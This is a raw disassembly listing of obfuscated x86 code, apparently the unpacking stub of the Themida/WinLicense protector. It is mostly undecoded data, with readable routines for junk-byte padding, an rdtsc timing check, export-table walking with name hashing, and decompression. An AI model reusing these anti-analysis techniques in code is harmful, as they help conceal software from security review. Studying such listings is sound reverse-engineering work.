mov edx, [esp+28h]
jmp loc_53F9DB
; ---------------------------------------------------------------------------
dw 0AEB1h
dd 0A8E747BEh, 0BB5C5462h
; ---------------------------------------------------------------------------
sahf
push ds
cmc
loc_53F9DB: ; CODE XREF: Themida_:0053F9C9j
mov [ebp+60B05E9h], eax
pusha
push ecx
jmp loc_53F9F8
; ---------------------------------------------------------------------------
mov al, ds:83510AE5h
sti
cld
push ss
xchg al, ah
inc esp
mov al, ds:0D430C064h
loc_53F9F8: ; CODE XREF: Themida_:0053F9E3j
pop edx
and ebx, 7379BEDDh
popa
jmp loc_53FA12
; ---------------------------------------------------------------------------
db 66h, 5Bh, 0B7h
dd 437B2651h, 46C2C98Dh
db 21h, 0B4h
; ---------------------------------------------------------------------------
loc_53FA12: ; CODE XREF: Themida_:0053FA00j
mov esi, 3Ch
cld
add esi, [esp+24h]
stc
lodsw
mov [ebp+60B0ED5h], edx
add eax, [esp+24h]
pusha
mov [ebp+60B2119h], edx
mov ecx, edi
popa
nop
jmp loc_53FA46
; ---------------------------------------------------------------------------
db 0DAh, 16h, 44h
dd 416CE41Ah, 0A5BF7397h
db 0E7h, 0D6h
; ---------------------------------------------------------------------------
loc_53FA46: ; CODE XREF: Themida_:0053FA34j
push eax
pusha
push eax
push edx
push ebx
pop ebx
rdtsc
jg $+6
pop edx
pop eax
popa
nop
jge loc_53FA6A
jle loc_53FA6A
add [ebp+60B0DADh], edx
loc_53FA6A: ; CODE XREF: Themida_:0053FA58j
; Themida_:0053FA5Ej
mov eax, [eax+78h]
pusha
mov esi, [ebp+60B1895h]
mov ebx, [ebp+60B0F19h]
popa
add eax, [esp+28h]
jmp loc_53FA8C
; ---------------------------------------------------------------------------
dd 0C5CC8A79h, 0ADFE0F62h
; ---------------------------------------------------------------------------
loc_53FA8C: ; CODE XREF: Themida_:0053FA7Fj
mov eax, [eax+18h]
mov [ebp+60B2E7Dh], ebx
inc eax
xor [ebp+60B2049h], edx
mov [ebp+60B3902h], eax
pusha
jmp loc_53FAAF
; ---------------------------------------------------------------------------
dd 28EF0207h
db 0E8h, 55h, 0BBh
; ---------------------------------------------------------------------------
loc_53FAAF: ; CODE XREF: Themida_:0053FAA3j
call near ptr loc_53FABE+4
pop ss
or ch, bl
adc dword ptr [ebp-4697FAF4h], 0FFFFFFE9h
loc_53FABE: ; CODE XREF: Themida_:loc_53FAAFp
mov ebx, 0E9E06C55h
pop es
; ---------------------------------------------------------------------------
dd 0DF000000h, 0B98E06BEh, 615855A7h, 68C0F58h, 89000000h
dd 0B100D8Dh, 78708B06h, 6BDB589h, 8E0F060Bh, 10h, 0BE9h
dd 331F600h, 814D932Ah, 7CAB548Fh, 0F81CC683h, 1AC59501h
dd 7403060Bh, 0BD892424h, 60B285Dh, 242DBD8Dh, 850F060Bh
dd 6, 15E98D89h, 1AD060Bh, 0B2D91B5h, 24440306h, 0C880F24h
dd 0F000000h, 68Dh, 198D8900h, 0AB060B18h, 30F19D29h, 0BD8D060Bh
dd 60B0535h, 8850Fh, 850F0000h, 2, 0FAD6160h, 183h, 4403F900h
dd 0B5892424h, 60B1905h, 23D8D89h, 0F90060Bh, 1185h, 0CE900h
dd 65060000h, 72B1646Fh, 7EFBF5BDh, 0E9503313h, 0Eh, 797154ADh
dd 93B2A6D8h, 2654DC95h, 0E9901040h, 0Ah, 0EFE31BA1h, 0BF274AA3h
dd 0F9AB0CC9h, 2889BD8Dh, 0F560060Bh, 0FAD61F9h, 0A89h
dd 0EBB96000h, 665FCCFAh, 361C88Bh, 29282444h, 0B05B18Dh
dd 0BF60AB06h, 51564826h, 6890Fh, 0B5290000h, 60B1601h
dd 95895E61h, 60B0295h, 39028DFFh, 0BD83060Bh, 60B3902h
dd 0C7107500h, 1C2444h, 8D000000h, 0B3D90B5h, 56E6FF06h
dd 244403ADh, 0DF8B9728h, 2845858Ah, 0C084060Bh, 73A0474h
dd 32574C75h, 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh
dd 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h
dd 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h
dd 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h
dd 85FF04C6h, 60B05E9h, 0FFFF6FE9h, 95095EFFh, 60B05D5h
dd 5E9h, 0CF5A4000h, 9589E5ACh, 60B0CC1h, 5E9858Bh, 8D09060Bh
dd 60B19B9h, 0DE9h, 87C4E00h, 168EEDA3h, 9DADE8D0h, 0E0D1CEA9h
dd 0C860Fh, 66600000h, 8B4D9BBFh, 0B32D195h, 85036106h
dd 60B2889h, 0B58960FCh, 60B0E91h, 16798D8Bh, 2B61060Bh
dd 519589F6h, 96060B0Dh, 2DF19589h, 0AD66060Bh, 2E0C1FCh
dd 17F98531h, 8503060Bh, 60B242Dh, 0AE996F8h, 7F000000h
dd 0E5A1573Eh, 90B81B1h, 8BF9ADDEh, 0F24244Ch, 683h, 79B58900h
dd 3060B15h, 0E9242444h, 10h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h
dd 0C4D39B7Bh, 1C244489h, 6880Fh, 9D890000h, 60B233Dh
dd 89ACF596h, 0B2049BDh, 0F8C93206h, 880FC1FEh, 0Bh, 9958B60h
dd 80060B1Bh, 0D061DDCAh, 0C1830FD0h, 0F000000h, 188Bh
dd 13E900h, 0A8540000h, 70B744E9h, 745CFFECh, 0F145EF55h
dd 74BD6BCAh, 0FD0D0B4h, 9B83h, 8D8B6000h, 60B1661h, 2860Fh
dd 0E3B70000h, 0FD0D061h, 8382h, 419D8900h, 0D0060B0Dh
dd 75820FD0h, 60000000h, 0DE9h, 0F8769D00h, 1150FE88h
dd 548BE7C0h, 860FB287h, 6, 8B0Fh, 60610000h, 69B589FCh
dd 61060B31h, 890FC9FEh, 0FFFFFF7Bh, 20C483FCh, 0BE9h
dd 196DC700h, 0CD8B0E46h, 752AB5BAh, 0FC2444C7h, 0
; ---------------------------------------------------------------------------
stc
pusha
mov edi, [ebp+60B15B5h]
popa
mov eax, 1
add [ebp+60B0C15h], ebx
lea ecx, [ebp+60B7305h]
mov [ebp+60B3121h], ecx
jmp ecx
; ---------------------------------------------------------------------------
xor [ebp+60B01E5h], eax
mov byte ptr [ebp+60B2845h], 0
jz loc_53FE48
jno loc_53FE48
stc
loc_53FE48: ; CODE XREF: Themida_:0053FE3Bj
; Themida_:0053FE41j
popa
clc
retn 8
; ---------------------------------------------------------------------------
or [ebp+60B2131h], edi
xchg eax, esi
jmp loc_53FE63
; ---------------------------------------------------------------------------
db 0E3h, 51h, 9Ah
; ---------------------------------------------------------------------------
push ds
cdq
retn
; ---------------------------------------------------------------------------
db 0D8h
db 40h, 52h, 83h
; ---------------------------------------------------------------------------
loc_53FE63: ; CODE XREF: Themida_:0053FE54j
push eax
jo loc_53FE6E
pusha
mov ah, 95h
popa
loc_53FE6E: ; CODE XREF: Themida_:0053FE64j
xchg eax, esi
pusha
movzx edx, di
popa
mov [ebp+60B3F96h], esi
js loc_53FE8D
jmp loc_53FE8D
; ---------------------------------------------------------------------------
db 96h, 0D1h, 0A1h
dd 6711C11Fh
db 0D5h
; ---------------------------------------------------------------------------
loc_53FE8D: ; CODE XREF: Themida_:0053FE7Aj
; Themida_:0053FE80j
pusha
js loc_53FE96
mov dh, ah
loc_53FE96: ; CODE XREF: Themida_:0053FE8Ej
popa
mov [ebp+60B3FC1h], ecx
clc
stc
lea esi, [ebp+60B3E7Ah]
loc_53FEA5: ; CODE XREF: Themida_:0053FF06j
jmp loc_53FEBC
; ---------------------------------------------------------------------------
dw 0B515h
dd 5AF8087Bh, 790A1D57h, 869D78C3h, 1ACC71D1h
; ---------------------------------------------------------------------------
loc_53FEBC: ; CODE XREF: Themida_:loc_53FEA5j
lea eax, (loc_5B7E32+3)[ebp]
jmp loc_53FEDA
; ---------------------------------------------------------------------------
db 7Eh
dd 4FF69C48h, 95A243DAh, 3B3EFBB5h, 0C41C5753h
db 0EAh, 0F4h
; ---------------------------------------------------------------------------
loc_53FEDA: ; CODE XREF: Themida_:0053FEC2j
call eax
pusha
mov [ebp+60B0941h], esi
call sub_53FEFA
inc ebx
das
std
mov [edx-2Eh], edi
adc esp, [edi+77h]
push ebp
adc byte ptr [eax+35EBC4CBh], 2Fh
lahf
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_53FEFA proc near ; CODE XREF: Themida_:0053FEE3p
jmp sub_53FF08
sub_53FEFA endp
; ---------------------------------------------------------------------------
db 0D4h
; ---------------------------------------------------------------------------
or [ebx-5], ch
les ebx, [ebx]
movsb
jz short loc_53FEA5
; =============== S U B R O U T I N E =======================================
sub_53FF08 proc near ; CODE XREF: sub_53FEFAj
pop esi
popa
pop esi
jnb locret_53FF17
xor [ebp+60B1E85h], ecx
locret_53FF17: ; CODE XREF: sub_53FF08+3j
retn
sub_53FF08 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 15E98D09h, 0B58B060Bh, 60B3F96h, 0BE860h, 48E40000h
dd 0B2B5B2h, 21190EC4h, 5BF5B085h, 8BEB8A60h, 0B3365BDh
dd 8B616106h, 0B3FC18Dh, 0E98D0106h, 2B060B26h, 68A0FC0h
dd 9000000h, 0B29E59Dh, 5E906h, 75800000h, 8B65829Fh, 0B9E9F9D9h
dd 60000000h, 100D958Bh, 3261060Bh, 7E926h, 553C0000h
dd 34E372C7h, 0F02B2ABh, 0C83h, 68D0F00h, 29000000h, 0B0591BDh
dd 72E906h, 0E9600000h, 13h, 0E0C22B18h, 476F9EDAh, 925069DEh
dd 3FEA119Ah, 6118D484h, 65950160h, 66060B33h, 4173F081h
dd 0F8C23261h, 751D7A05h, 8953608Ah, 0B2879BDh, 0CA815A06h
dd 4ACF33CDh, 60CC8A61h, 0DB58D31h, 0D361060Bh, 98589C8h
dd 35060B27h, 98D10842h, 0AFD9D89h, 0CAFE060Bh, 6870F60h
dd 8B000000h, 0B063595h, 3D958906h, 61060B2Ah, 850FD20Ah
dd 0FFFFFFADh, 840F4BFCh, 1, 0B58946F5h, 60B2F11h, 850FDB0Bh
dd 0FFFFFF47h, 0E58D8960h, 61060B13h, 0F9CFh, 14890Fh
dd 0E9600000h, 7, 658070DBh, 8BF93479h, 0B0DF99Dh, 0F86106h
dd 15950900h, 9060B13h, 0B05319Dh, 60000006h, 59BBB66h
dd 22D9503h, 61060Bh, 0E2806000h, 1995039Ch, 61060B20h
dd 390D858Dh, 12E9060Bh, 0EA000000h, 0E3ABF9B3h, 7577873Fh
dd 0CBC1997Ch, 2D2F7387h, 0A9858958h, 29060B08h, 0B03999Dh
dd 0AF858D06h, 0E9060B3Dh, 8, 0A962A740h, 853EBDC5h, 1FA58589h
dd 8E8060Bh, 87000000h, 39A79DCBh, 9950B6Dh, 0B33818Dh
dd 0BF0F5806h, 75C081C9h, 8B000059h, 0B0DF98Dh, 1DB3306h
dd 0B0841BDh, 334FF06h, 0F7E2805Eh, 1A98F681h, 11E8230Ch
dd 19000000h, 0D7F5A187h, 6B3D6A6Ch, 10F765DEh, 0E41A509h
dd 599CEE80h, 0C9C8EE81h, 0EDB96758h, 81438F60h, 8128B9F6h
dd 918D095Dh, 56060B0Bh, 0EE960h, 9FF30000h, 1FE78470h
dd 0F8B1CAF7h, 0E7E433BDh, 11619D8Bh, 8F61060Bh, 0BD8B1804h
dd 60B0681h, 0DA1B529h, 0EB81060Bh, 4E68C54Ah, 6810Fh
dd 8D8B0000h, 60B29FDh, 0C546C381h, 8E0F4E68h, 0
dd 0A740FB81h, 850FFFFFh, 0FFFFFF6Dh, 14EBh, 3 dup(0)
dd 8B0000h, 858D0000h, 60B41B2h, 2F598589h, 0BD83060Bh
dd 60B40EAh, 34840F00h, 0C6000001h, 0B284585h, 4E85606h
dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h
dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 0DE8589D0h, 0C6060B40h
dd 0B284585h, 0A1685606h, 81667A86h, 31B12404h, 0B5FF362Eh
dd 60B0B01h, 390D858Dh, 0D0FF060Bh, 40E28589h, 46A060Bh
dd 4E8h, 100000h, 448B5000h, 8B0424h, 4244489h, 0EE858B58h
dd 5060B40h, 1F4h, 9002E0C1h, 6A9050h, 40E295FFh, 8589060Bh
dd 60B40E6h, 0FFB8D88Bh, 0FFFFFFFFh, 0B2F5995h, 0FFC38B06h
dd 0B2F5995h, 8DE906h, 0BD830000h, 60B40EAh, 1850F00h
dd 0C3000000h, 0E6BD8B57h, 0AB060B40h, 40E68583h, 5F04060Bh
dd 0EABD83C3h, 60B40h, 1850Fh, 60C30000h, 40E6AD83h, 8B04060Bh
dd 0B40E69Dh, 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h
dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 40DE95FFh
dd 0C361060Bh, 1DE9h, 5A936800h, 348178DCh, 0DCDA9324h
dd 0FF006A78h, 0DE95FF33h, 83060B40h, 0B40E6ADh, 0A8E90406h
dd 48FFFFFFh, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h
dd 46068A80h, 0BB470788h, 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h
dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
dd 0C0330000h, 850FD202h, 5, 1246168Ah, 2A830FD2h, 2000001h
dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh
dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
dd 885F078Ah, 2BB4707h, 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h
dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah
dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h, 0E88B02D1h
dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
dd 0C2611C24h, 29BA0008h, 0E9000009h, 9D3h, 781830D1h
dd 0A6F6656Bh, 4CAAD507h, 0F6DE3ADEh, 0F35F1089h, 0C9C81EEh
dd 35AF7A52h, 0ADE67F56h, 7518168Ch, 0AEFA2760h, 1FF8C215h
dd 0B3D928CFh, 90305B86h, 18968B9Eh, 67A37B4Fh, 0ABE47F56h
dd 75181583h, 0B3E5277Ah, 1F8DD0Fh, 0A4C236D3h, 0F35B5592h
dd 1C81C7AAh, 35EE6A4Fh, 0ABF13157h, 6C180397h, 0B3E4687Ch
dd 0F6DD01h, 63h dup(0)
dd 711830D1h, 0B5EA6961h, 1CF8C20Fh, 0A4CA34C4h, 0F51A188Ah
dd 1BD394AFh, 67E17B59h, 0AAFD7E45h, 694A5186h, 0AFEA6960h
dd 2B19007h, 0A3C22296h, 0E4495599h, 149693BDh, 17821412h
dd 0B7E9744Fh, 69185D87h, 0A0EC6B60h, 18B19004h, 0B9DF3D96h
dd 0F8575586h, 8188A3h, 23E17F1Ch, 0B7ED6303h, 684A1096h
dd 0B4EC7E2Eh, 1EA89012h, 0B7DF3CD9h, 5B86h, 48h dup(0)
dd 7F1830D1h, 0AAE0667Ch, 1FFFC205h, 0B9C22F96h, 0FC525587h
dd 1C91C7BDh, 21AF7059h, 0A0E6644Ch, 724D03C2h, 0A6ED6E60h
dd 4CB6D940h, 0A4D834CFh, 0EE4306CBh, 579E82BAh, 2BDF1336h
dd 0A1FB7046h, 724D51CEh, 0A5E26862h, 4CACD940h, 0BBC229D0h
dd 0F05F18CBh, 598A95A1h, 67EB705Dh, 0B0FB7451h, 3C4C0383h
dd 0B3F66877h, 3AAC040h, 0BBCC29D1h, 0C5h, 61h dup(0)
dd 705137D1h, 0AEE0276Bh, 1CADC212h, 0F7C93EC2h, 0F56E55C5h
dd 9D394A7h, 35E8714Eh, 0ACA87C42h, 7E180283h, 0E1ED626Bh
dd 5B6D10Dh, 0B7C12EC6h, 0BD5E109Fh, 599789AFh, 25F67F51h
dd 0AD851B46h, 3C4B5696h, 0A4E56967h, 8BDC403h, 0F6D43996h
dd 0F46C558Ah, 598092BCh, 24AF6C53h, 0AFEB7051h, 3C161587h
dd 0B2EA6F5Ah, 0B1D640h, 0B9DA7BD3h, 0BD4E5285h, 128188B9h
dd 3EE17F1Ch, 0A1FA7E4Eh, 0CCh, 0E0h dup(0)
aWlnumdllsprot db 'WLNumDLLsProt',0
a0 db '0',0
dd 8 dup(0)
dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
dd 0E9000000h, 2E7Ch, 0FC48F380h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 8BC35141h, 98B857CFh, 11830Fh
dd 0CE90000h, 0C9000000h, 92FC9744h, 7BBD70EEh, 8B6E0BB0h
dd 31B589C0h, 83060B2Eh, 0B05BDBDh, 9750006h, 29D1BD83h
dd 7400060Bh, 8B535013h, 1B8C0h, 9D8D0000h, 60DB1BCh, 585BD3FFh
dd 29D1BD83h, 7400060Bh, 0B8535011h, 1, 0B06D9D8Dh, 0D3FF060Dh
dd 14E9585Bh, 34000000h, 0C3C54FE7h, 0FC431CA4h, 9991199Eh
dd 0B383C90Ch, 60EA2B20h, 68E0Fh, 858B0000h, 60B0531h
dd 68B0Fh, 9D290000h, 60B1B4Dh, 8BC08B61h, 0B059D9Dh, 79BD8306h
dd 60B2Eh, 1FA840Fh, 0DA810000h, 610E81AAh, 81DBD83h, 0F00060Bh
dd 1E784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 4FB10B69h, 145C9FEFh, 14E8h, 6347FA00h
dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 37EF1784h, 0D9EB8064h
dd 0BD89605Ah, 60B07E1h, 81D858Bh, 6A060Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F0D8D3C3h
dd 8B705BA9h, 0B127D95h, 3E80506h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9551E4C3h
dd 1F69BBA2h, 6E92B75h, 0B3000000h, 5E13C8Eh, 0B5BD29EBh
dd 90060B27h, 14E8h, 7656E00h, 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch
dd 80E62188h, 0BB505A3Bh, 48B4A400h, 0DE990h, 0FC580000h
dd 656D9BDDh, 3DB2344h, 8D677F54h, 0B4DB685h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 519D8970h, 90060B20h, 50D88B66h, 11E8h, 69006D00h, 34365992h
dd 25E0F31Ch, 0AFA8EA70h, 0D08AA539h, 8B66905Bh, 94858DD9h
dd 0F060B4Dh, 48Fh, 0B4BA6600h, 8B6650D0h, 240489DEh, 95FFF48Ah
dd 60B000Dh, 8E9h, 9AADFF00h, 400BD282h, 0CC483CFh, 28E59D0Bh
dd 858D060Bh, 60B4D94h, 775BBA66h, 89D08B50h, 0AE82404h
dd 0DB000000h, 74E24B7Dh, 0A5B9AC83h, 0A5BD8931h, 5A060B33h
dd 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 721548C3h, 0D0BF0F19h, 857495FFh, 6A0068h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0F4A03C3h, 0AE9D7B7h, 0A6000000h, 0FFD74EB5h, 5000BE51h
dd 950B6163h, 60B0715h, 4DC785C7h, 1060Bh, 9D8B0000h, 60B21DDh
dd 0C4BB5696h, 5B34D6C8h, 0C9BA6650h, 295096DFh, 0B335D95h
dd 0B5895A06h, 60B4D78h, 0BAD958Bh, 0BD83060Bh, 60B0B19h
dd 65850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 5AB6C353h, 0A26A4B65h
dd 0B58950B6h, 60B07C1h, 5F8835Ah, 32850Fh, 860F0000h
dd 3, 0B8D68B66h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5411C7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5411C7 proc near ; CODE XREF: Themida_:005411BFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5411C7 endp
; ---------------------------------------------------------------------------
db 8Fh
dd 0F1A3AC0Dh, 7E5B7F58h, 899BD83h, 0F00060Bh, 2D84h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 85661A5Eh, 8BD5071Bh, 0B02DD95h, 0B806h, 29600000h
dd 0B330995h, 0C5858B06h, 6A060B2Eh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 8858C351h
dd 819ED65Eh, 0FE90F6EBh, 2C0834Ah, 0BE9h, 0DD3B200h, 723A1628h
dd 9DCABB38h, 4D708589h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 534D85C3h, 0F10D72E1h
dd 70D958Bh, 0C6060Bh, 318D89FFh, 0C6060B23h, 0B284585h
dd 0BE85306h, 96000000h, 0D4AB2CEEh, 0C0E19131h, 890FDB17h
dd 6, 8F0Fh, 0E95A0000h, 13h, 2742BE83h, 7302A3A7h, 656B5238h
dd 9444F8F2h, 68A62361h, 9677F6A6h, 481D48Ah, 39523224h
dd 0ED9D8966h, 0FF060B28h, 0B1355B5h, 0A3F28006h, 7D18858Dh
dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 8B1349C3h, 0B0EE99Dh, 8BD0FF06h, 0B01099Dh
dd 0DD858906h, 0E9060B32h, 0Fh, 7EB556D4h, 52B6CE25h, 0BCDA8EE9h
dd 8306167Ch, 0B1FDDBDh, 850F0106h, 142h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 15h, 0E9C35141h, 2D958B33h
dd 61060B1Ah, 0F498D09h, 85C6060Bh, 60B2845h, 50006A45h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0A0CDE993h, 813EC897h, 512F15CAh, 63556854h, 0DF8B5AFAh
dd 6D240481h, 297F65D5h, 0B10758Dh, 13E906h, 0E2300000h
dd 0A65E189Bh, 0F1F513E8h, 6D78F1Ah, 96EFB85h, 55B5FFBBh
dd 89060B13h, 0B2055BDh, 5E806h, 3F980000h, 0E992A0E2h
dd 13h, 4B26A166h, 9A64423Dh, 0A934A9B3h, 0B6D0A4F7h, 5B2F507Ch
dd 7D18858Dh, 0BF0F060Eh, 0A9958BD7h, 0FF060B18h, 53006AD0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 0C07ED6FEh, 1DCD14CAh, 0FEBB66B8h, 6A006A64h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0AD69C351h, 0E27443D4h, 0DD86677h, 20699529h, 0D0FF060Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 16C35242h
dd 7D54C957h, 0F6BA665Eh, 0BD83F57Ah, 60B037Dh, 8A850F01h
dd 0FC000000h, 9E8h, 95B00500h, 0F37003Bh, 0EE8977Dh, 0B9000000h
dd 0F0771C18h, 0D1930E5Eh, 0BEA73C94h, 0A595891Eh, 5A060B1Ah
dd 0C5858B5Ah, 0F060B2Eh, 286h, 0E9B8B300h, 3Ch, 1A459D89h
dd 0E990060Bh, 9, 0ADC706F9h, 4078B0F2h, 0D38B5032h, 0E2815290h
dd 57059A8Ch, 8B146A5Ah, 0B06319Dh, 0DD95FF06h, 81060B32h
dd 3FEF4FD3h, 0BD895876h, 60B32D1h, 0F003880h, 0FFFFC185h
dd 0D68B66FFh, 560100C6h, 6A615Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 6D8AD0C3h, 0B589615Eh
dd 60B2AD1h, 5B9BD89h, 0BD83060Bh, 60B1A29h, 2C840F00h
dd 60000000h, 290D8D89h, 8166060Bh, 611F7EE2h, 0BD89FF6Ah
dd 60B2E85h, 95FFFC8Ah, 60B32DDh, 0F098589h, 0E5E9060Bh
dd 66FFFFFFh, 0C7944EBBh, 0B1A2985h, 106h, 41858900h, 89060B0Bh
dd 0B4D7C85h, 0DD952306h, 50060B0Dh, 0AE9h, 0D9587B00h
dd 1D24734Eh, 89CCB2C9h, 60F52404h, 56AD38Bh, 3810Fh, 0DF800000h
dd 94858DB4h, 66060B4Dh, 0E890D88Bh, 7, 0B08CE0C4h, 50DD55F2h
dd 46D0BA52h, 310F1B75h, 0DE8h, 0A3179800h, 396DE772h
dd 887CCE4Bh, 5A5B6E72h, 8A505B58h, 6A90D0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C783FDC3h
dd 0E9958940h, 0F060B06h, 689h, 0C9958B00h, 8D060B18h
dd 0B4D8485h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 4845D4AFh, 8B90BF0Dh, 8C0F50D7h
dd 3, 90D78B66h, 0FF62F280h, 0B051995h, 0D2B70F06h, 7BCE8D8Dh
dd 0FE8060Bh, 0B4000000h, 0D6196E3h, 99C157DEh, 1A3EF8DCh
dd 0B5B4946h, 8D1174C0h, 0B4D9485h, 0D1FF5006h, 4DB28589h
dd 0AEB060Bh, 4DB285C7h, 0FFFF060Bh, 8960FFFFh, 0B07A98Dh
dd 25B50B06h, 61060B18h, 6092C280h, 101B58Bh, 8D8B060Bh
dd 60B14A9h, 6A6161h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 477719C3h, 0B70FAF16h, 4585C6D6h
dd 4D060B28h, 1A21958Bh, 4E8060Bh, 0A8000000h, 66A43576h
dd 503454BBh, 424448Bh, 6E8h, 0D76F2E00h, 5081B866h, 5AD38B66h
dd 0E8008B5Bh, 0Bh, 36BB74DAh, 6AC3A376h, 5076B6CAh, 0F5B5652h
dd 5A616031h, 44895B58h, 0D38B0424h, 0F99D3158h, 0FF060B23h
dd 0B27F5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0DE99753h, 4D000000h, 0FA5C0548h
dd 96802BE6h, 0F1D0F570h, 8D62EF80h, 0E7D1885h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 6B99F6AEh, 869CF85Ah, 10E9h, 342CD100h, 3CFBC3C2h, 5694835Ch
dd 819D1575h, 60D0FF7Fh, 901976B8h, 599D8B64h, 61060B2Eh
dd 0BD98589h, 9D8B060Bh, 60B062Dh, 284585C6h, 0E945060Bh
dd 0Ch, 0D253A88Eh, 0F551492h, 0EE2329ABh, 31799501h, 9A68060Bh
dd 8112D3CCh, 9CCF2404h, 8D017B9Eh, 60B1B4Dh, 0B11B589h
dd 0B5FF060Bh, 60B1355h, 7E8h, 7C7D5200h, 11598741h, 23059D01h
dd 8D5B060Bh, 0E7D1885h, 14E906h, 0CD1A0000h, 0F6FE36D3h
dd 711F11A9h, 0B40F18D2h, 60A957F6h, 0D0FFE5A8h, 0F819D8Bh
dd 8589060Bh, 60B2F4Dh, 6860Fh, 95890000h, 60B27EDh, 12E8D28Bh
dd 0DC000000h, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0AA3A1E1Dh
dd 5A5060B3h, 665A61FCh, 6AD98Ch, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0EEBCCCC3h, 8991F17Ah
dd 0B009D95h, 4C1F606h, 24F840Fh, 0DE800000h, 10BE9EBh
dd 89510000h, 0B0BBD95h, 60505B06h, 29D9D89h, 0BD01060Bh
dd 60B0011h, 0B58B5B61h, 60B1F75h, 59D9D8Bh, 0C681060Bh
dd 1180h, 0BE9h, 0EBD62500h, 274FF94Fh, 207CA66Ah, 1611BD83h
dd 0F00060Bh, 2885h, 0C2816600h, 11B60D36h, 0AFE9h, 898D0900h
dd 0E9060B18h, 11h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 6B4D2DC2h
dd 3E83CEh, 8A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h
dd 0AE903h, 0A67A0000h, 0C78221CCh, 0E0191F69h, 0CB80DA8Bh
dd 958B600Dh, 60B0B7Dh, 13E9146Ah, 83000000h, 33683F5Eh
dd 0C973E9A1h, 50C58AB8h, 0B8359A7Eh, 95FFF9E6h, 60B32DDh
dd 19B1958Bh, 2B61060Bh, 0B021D95h, 9E806h, 1A860000h
